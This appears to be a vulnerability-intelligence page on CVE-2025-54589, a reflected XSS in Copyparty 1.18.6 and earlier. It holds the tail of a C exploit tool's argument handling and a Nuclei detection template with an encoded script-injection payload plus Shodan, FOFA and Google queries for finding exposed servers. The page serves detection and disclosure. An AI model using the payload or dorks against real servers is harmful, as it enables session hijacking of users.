        "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  ▄▌ ▌▄▌▙▌▄▌\n"
                        "Byte Reaper\n"
    );
    int noColor = 0;
    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('i',
                    "ip",
                    &ipT,
                    "Target IP "),
        OPT_STRING('c',
                    "cookies",
                    &cookies,
                    "cookies File"),
        OPT_BOOLEAN('v',
                     "verbose",
                     &verbose,
                     "Verbose Mode"),
        OPT_INTEGER('p',
            "port",
            &portT,
            "Enter Target Port"),
        OPT_STRING('a',
            "ca" ,
            &caFile,
            "Enter Name File CA\n"),
        OPT_BOOLEAN('t', "http", &useHttp, "HTTP Protocol"),
        OPT_BOOLEAN('n',
             "no-color",
             &noColor,
             "Disable colored output"),
        OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                options,
                NULL,
                0);

    argparse_parse(&argparse,
                argc,
                argv);
    if (ipT == NULL)
    {
        PRINT_ERR("[-] Please Enter Target Ip And Port !\n");
        PRINT_ERR("[-] Ex : ./exploit -i <IP> -p <PORT>\n");
        PRINT_ERR("[-] Exit Syscall\n");
        curl_global_cleanup();
        exitAssembly();
    };
    printf("---------------------------------------------------------------------\n\n");
    printf("[+] Start Exploit XSS (CVE-2025-54589)...\n");
    if (cookies)
    {
        useC = 1;
    }
    if (verbose)
    {
         verbose = 1;
    }
    if (!portT)
    {
        printf("[+] Default Port : %d\n", 3923);
        portT = 3923;
    }
    if (caFile)
    {
        sCa = 1;
    }
    if (useColor)
    {
        useColor = 1;
    }

    if (noColor)
    {

        useColor = 0;
    }
    if (useHttp)
    {
        useHttp = 1;
    }
    auto_detect_color();
    senR(ipT, portT);
    curl_global_cleanup();
    return 0;
 }
🔍 NUCLEI DETECTION TEMPLATE PROJECTDISCOVERY NUCLEI ↗

Nuclei is an open-source vulnerability scanner by ProjectDiscovery. This YAML template automates detection of this CVE against a target. Run with: nuclei -t template.yaml -u <target>

id: CVE-2025-54589

info:
  name: Copyparty <=1.18.6 - Cross-Site Scripting
  author: s-cu-bot
  severity: medium
  description: |
    Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers through malicious URLs containing XSS payloads in the filter parameter, potentially leading to session hijacking.
  remediation: |
    Upgrade Copyparty to version 1.18.7 or later to mitigate this vulnerability.
  reference:
    - https://github.com/9001/copyparty
    - https://secalerts.co/vulnerability/CVE-2025-54589
    - https://github.com/9001/copyparty/security/advisories/GHSA-8mx2-rjh8-q3jq
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54589
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2025-54589
    epss-score: 0.0078
    epss-percentile: 0.73772
    cwe-id: CWE-79
    cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: copyparty_project
    product: copyparty
    shodan-query: http.title:"copyparty"
    fofa-query: title="copyparty"
    google-query: intitle:"copyparty"
  tags: cve,cve2025,xss,copyparty,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'filter": "</script><script>alert(document.domain)</script>'
          - 'control-panel'
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402200a7015c60bf7c2c9ed86ac26f2fded7ce54cffc68dbd2e46858ac6a9fb59fe9d022078a2544a45055e357454293b3d10aaae1fa011a64a40919535f468c0e868977a:922c64590222798bb761d5b6d8e72950
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54589/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.